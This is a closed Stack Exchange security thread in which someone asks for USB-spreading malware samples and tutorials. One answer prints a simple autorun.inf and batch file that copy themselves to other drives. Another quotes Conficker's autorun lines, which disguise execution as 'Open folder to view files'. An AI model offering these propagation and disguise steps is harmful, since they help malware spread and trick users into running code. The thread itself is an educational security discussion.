Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I'm messing with Mandiant Redline on Windows Server 2012 in a VM and I wanted to download a sample virus that spreads via USB and modify it to attack Mandiant Redline - I've never written malware before, so if anyone has a guide or a link to a download where I can get a sample like this I'd appreciate it.

Where can I find sample malware with source that spreads via USB? Where can I find a tutorial on writing malware so I can understand more about how it works?

share|improve this question

closed as not constructive by Adnan, Iszi, Antony Vennard, AJ Henderson, Terry Chia May 4 '13 at 6:09

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.If this question can be reworded to fit the rules in the help center, please edit the question.

2 Answers 2

autorun.inf

[autorun]
open=file.bat
shell\option1=Open
shell\option1\command=file.bat

file.bat

@echo off
copy autorun.inf C:\ > NUL
copy file.bat C:\ > NUL
copy autorun.inf D:\ > NUL
copy file.bat D:\ > NUL
explorer .

Put them together, and you got something that will spread through USB.


On a more serious note, don't expect that someone will just hand you a piece of malware here.

share|improve this answer
1  
Might be possible to run an autorun script pointing at a copy of the eicar virus test signature. That should allow the OP to test autorun of a 'virus' from a USB and check if the defences on the system connected to identify eicar. None of that will help you write malware though! Could look into offensive security. –  AndyMac May 2 '13 at 17:46
    
Yea - I sortof expected to receive this kind of reception - I'm not looking for malware per se, just a resource - google was remarkedly unproductive. –  Andrew May 2 '13 at 18:54

I just wanted to touch on Adnan's post. Since on the subject of USB autorun, here is a real world example using the same scheme.

The recent conficker virus used Autorun to infect systems. While not completely automatic, it presents itself as a legit autorun option that most people are used to choosing without giving much thought. Conficker used a similar autorun.inf as above, with the added lines:

Action=Open folder to view files
Icon=%systemroot%\system32\shell32.dll,4

As you can see, when the usb device is inserted, Windows Autorun presents the user with the option of "Open folder to view files" with the same icon as the legit option. This is an easy way to get the user to unknowingly execute the code.

share|improve this answer
    
Screen shot of what it might look like: handlers.sans.org/bzdrnja/Conficker.png –  David Houde May 3 '13 at 3:34

Not the answer you're looking for? Browse other questions tagged or ask your own question.